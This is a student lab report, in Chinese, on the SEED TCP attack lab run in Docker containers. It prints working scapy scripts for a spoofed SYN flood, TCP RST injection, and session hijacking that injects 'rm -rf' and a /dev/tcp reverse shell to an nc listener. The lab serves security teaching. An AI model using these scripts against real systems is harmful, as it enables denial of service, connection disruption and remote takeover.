一、 实验目的

1 overview

TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞;它们提供了一个宝贵的教训,说明了为什么安全性应该从一开始就设计好,而不是事后才加上。此外,研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中,学生将对TCP进行几个攻击。本实验涵盖以下主题:

  • TCP协议
  • TCP SYN洪水攻击和SYN cookie
  • TCP重置攻击
  • TCP会话劫持攻击
  • 反向Shell

二、 实验步骤及结果

2 Environment Setup using Container

在这个实验室里,我们至少需要有三台机器。我们使用容器来设置实验室环境。图1描述了实验室的设置。我们将使用攻击者容器来发起攻击,同时使用其他三个容器作为受害者和用户机器。我们假设所有这些机器都在同一个局域网上。学生们也可以在这个实验室中使用三台虚拟机,但使用容器会更方便。

image.png

2.1 Container Setup and Commands

在labsetup文件夹下,启动docker(内容与以往的实验相同)

1
2
3
$ dcbuild   # 构建容器映像
$ dcup # 启动容器
$ dcdown # 关闭容器(这个命令现在不用)

要在容器上运行命令的话,我们通常需要在该容器上获取一个shell

1
2
$ dockps      # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash

我在这里先连接上docker
image.png

2.2 About the Attacker Container

Shared folder

当我们使用攻击者容器来启动攻击时,我们需要将攻击代码放在攻击者容器中。代码编辑在VM中比在容器中更方便,因为我们可以使用我们最喜欢的编辑器。为了让VM和容器共享文件,我们已经使用Docker卷在VM和容器之间创建了一个共享文件夹。如果您查看Docker组成文件,您会发现我们已经在一些容器中添加了以下条目。表示将主机(即VM)上的./volues文件夹装载到容器内的/volues文件夹。我们将把代码写入./volous文件夹(在VM上),以便它们可以在容器中使用。

Host mode

在这个实验室中,攻击者需要能够嗅探数据包,但在一个容器内运行嗅探程序有问题,因为一个容器是有效地连接到一个虚拟的开关,所以它只能看到自己的流量,它永远不会看到其他容器中的数据包。为了解决这个问题,我们使用了攻击者容器的主机模式。这允许攻击者容器查看所有的流量。在攻击者容器上使用的下列条目如下:
image.png
当容器处于host模式时,它可以看到所有主机的网络接口,它甚至具有与主机具有相同的IP地址。基本上,它与主机虚拟机放在相同的网络名称空间中。但是,容器仍然是一个独立的机器,因为它的其他名称空间仍然与主机不同。

2.3 The seed Account

在这个实验室里,我们需要从一个容器传送到另一个容器。我们已经在所有容器中创建了一个名为seed的帐户。它的密码是参与者。你可以登录这个账户。

这一点与第九次实验”嗅探与欺骗攻击“相同,操作不过多叙述

3 Task 1: SYN Flooding Attack

SYN洪泛攻击是一种DoS攻击形式,攻击者向受害者的TCP端口发送许多SYN请求,但攻击者无意完成三方握手过程。攻击者要么使用欺骗的IP地址,要么不继续此过程。通过这次攻击,攻击者可以淹没受害者的用于半开的连接的队列,即已完成SYN、SYN-ACK,但尚未返回最终ACK的连接。当此队列已满时,受害者无法再进行任何连接。
image.png

查看ubuntu系统队列大小:

1
sysctl net.ipv4.tcp_max_syn_backlog

查看队列使用情况:

1
netstat -nat

我们可以使用命令“netstat-nat”来检查队列的使用情况,即,与一个监听端口相关联的半开连接的数量。这种连接的状态是SYN-RECV。如果完成了三方握手,则将建立连接的状态。

默认情况下,Ubuntu的SYN洪泛对策已打开。这种机制叫做SYN cookie。如果机器检测到它受到了SYN的洪泛攻击,它就会启动。在我们的受害者服务器容器中,我们已经关闭了它(参见docker-compose.yml文件中的系统转换条目)。我们可以使用以下的sysctl命令来打开和关闭它:

1
2
3
sysctl -a | grep syncookies (Display the SYN cookie flag)
sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

为了能够使用sysctl来更改容器内的系统变量,容器需要配置为“特权:true”条目(这是我们的受害者服务器的情况)。如果没有此设置,如果我们运行上面的命令,我们将看到以下错误消息。容器没有授予进行更改的权限。

1
2
3
sysctl -w net.ipv4.tcp_syncookies=1

sysctl: setting key "net.ipv4.tcp_syncookies": Read-only file system

3.1: Task 1.1: Launching the Attack Using Python

先查看系统队列大小
image.png
查看队列使用情况
image.png
检查是否开启了SYN的cookie策略
image.png
由红色部分可知,已经开启了cookie策略,因此,需要关闭这个SYN cookie策略
下面是python的攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)

这段代码先创建了一个IP数据包对象ip,目的地IP地址设置为”10.9.0.5”。然后,创建了一个TCP数据包对象tcp,指定目的地端口号为23,并设置标志位为SYN。最后,使用ip/tcp将IP数据包和TCP数据包组合成一个完整的数据包对象pkt。
再使用一个无限循环,不断发送经过修改的数据包pkt。在每次循环中,通过str(IPv4Address(getrandbits(32)))随机生成一个32位的源IP地址,并将其赋值给pkt[IP].src属性。同样地,getrandbits(16)生成一个16位的源端口号,并赋值给pkt[TCP].sport属性。getrandbits(32)生成一个32位的序列号,并赋值给pkt[TCP].seq属性。最后,使用send(pkt, verbose=0)发送数据包。

在攻击开始前,10.9.0.5端口状态是这样的:
image.png
执行攻击代码:
image.png
用再查看端口,发现全都变成了半连接状态:
image.png

3.2 Task 1.2: Launch the Attack Using C

labsetup里面给了c的代码,我们直接执行c的攻击代码:
image.png
用另一个终端页面尝试telnet,发现长时间不能telnet通(因为请求队列已经满了):
image.png
先telnet 10.9.0.5 ,再启动攻击
image.png
用被攻击端的终端查看端口,发现全都变成了半连接状态:
image.png

请启用SYN cookie机制,并再次运行攻击,并比较结果。

image.png
如上进行攻击,发现被攻击者端口状态正常:
image.png

4 Task 2: TCP RST Attacks on telnet Connections

TCP RST攻击可以终止两个受害者之间已建立的TCP连接。例如,如果两个用户A和B之间已建立了telnet连接(TCP),攻击者可以从a到B欺骗一个RST数据包,从而破坏这个现有的连接。为了成功地进行此攻击,攻击者需要正确地构建TCP RST数据包。
在此任务中,您需要从虚拟机启动TCP RST攻击,以断开A和B在容器之间现有的远程网络连接。为了简化实验,我们假设攻击者和受害者在同一个局域网上,即攻击者可以观察A和B之间的TCP流量。

大致原理:在tcp连接建立之后,虚拟RST报文,重置当前的tcp连接。因为telnet是基于tcp的,所以RST攻击可以强制中断telnet连接。

这里我们将victim(10.9.0.5)作为客户端,observer(10.9.0.6)作为服务器,victim(10.9.0.1)使用telnet远程登录observer,接着attacker发送虚拟RST报文中断这个连接。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:

image.png
image.png

在Client与Server通过telnet命令建立了连接之后,在Attacker中通过Wireshark抓包方式,查看二者之间的数据包。在wireshark上可以找到对应的报文信息,我们是想模拟服务器给客户端发送RST报文,所以找的就是最新的服务器发给客户端的报文。注意观察源ip、目的ip、源端口、目的端口,只要确定没有问题了,再看下一条的序列号和ack。
image.png

构造报文rst.py:

1
2
3
4
5
6
7
8
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=23, dport=36060, flags="R", seq=2618195968)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

执行rst.py,可以看到telnet连接被终止
image.png

5 Task 3: TCP Session Hijacking

大致原理:在tcp连接建立之后,虚拟ACK报文,发送攻击者的数据。因为telnet是基于tcp的,所以会话劫持攻击可以嵌入攻击者的shell指令。
image.png
这里我们将victim(10.9.0.7)作为客户端,observer(10.9.0.5)作为服务器,服务器上有个文件new.txt,victim使用telnet远程登录observer,接着attacker(10.9.0.1)发送虚拟ACK报文删除new.txt。其中的关键就是构造虚拟RST报文,相关信息可以通过wireshark捕获到,下面是实验流程:
先在服务器(10.9.0.5)上创建文件:
image.png
客户端(10.9.0.7)远程登录服务器(10.9.0.5)并查看文件new.txt:
image.png

查看最后一条报文,获取ip、port、seq、ack:
image.png

构造Hijack.c:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.7", dst="10.9.0.5")
tcp = TCP(sport=49668, dport=23, flags="A", seq=2572525453, ack=1402443012)
data = "rm -rf new.txt"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

执行攻击代码:
image.png
服务端文件不见了:
image.png
客户端光标锁死:
53557cc64b6876edb8fbf165739a673e.png

结果发现:文件删除成功,并且客户端的光标被锁死,无法输入命令(这个是因为客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。)

6 Task 4: Creating Reverse Shell using TCP Session Hijacking

当攻击者能够使用TCP会话劫持向受害者的机器注入命令时,他们对在受害者机器上运行一个简单的命令不感兴趣;他们对运行许多命令感兴趣。显然,通过TCP会话劫持来运行这些命令是不方便的。攻击者想要实现的是利用攻击来设置一个后门,这样他们就可以使用这个后门来方便地进行进一步的破坏。设置后门的一个典型方法是从受害者机器上运行一个反向炮弹,让攻击者的炮弹进入受害者机器。反向shell是一个在远程机器上运行的shell进程,它可以连接回攻击者的机器。这为攻击者提供了一种方便的方式来访问远程计算机。

反向shell,即是攻击者通过nc建立一个tcp server,然后在会话劫持的基础上,可以让受害者执行命令把shell通过nc的端口反弹回攻击者的主机中,从而拿到了受害者机器的执行权限。
首先在Attacker中开启监听9090端口,从Server中反射回的shell会通过9090端口返回回来。此处nc命令的使用是表示在Attacker中开启的是9090端口,也就是相当于启动了一个tcp服务,此服务监听了从9090端口输入进来的内容。

10.9.0.1作为attacker:
image.png

在客户机(10.9.0.6)上telent服务器(10.9.0.7);
image.png

在wireshark上可以找到最新的报文信息,最新的是客户端发给服务器的,那我们模拟客户端再发一条,只需要改变序列号就好了image.png

reshell.py代码如下:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=41522, dport=23, flags="A", seq=2309604794, ack=2535698582)
data = " /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
# ls(pkt)
send(pkt, verbose=0)

结果:攻击者与服务器建立了连接,成功拿到 victim 的 shell,比如使用ifconfig命令查看ip,接下来攻击者就可以为所欲为了
image.png

:::info
文件描述符概念:
标准输入为0,标准输出为1,标准错误输出为2。
&1是标准输出文件的主机。0<&1是将标准输入由标准输出的主机输入。2>&1是将标准错误输出到标准输出的主机上。也就是说shell的输入输出都是由攻击者来控制的了。因此就可以实现了远程控制反弹shell。
:::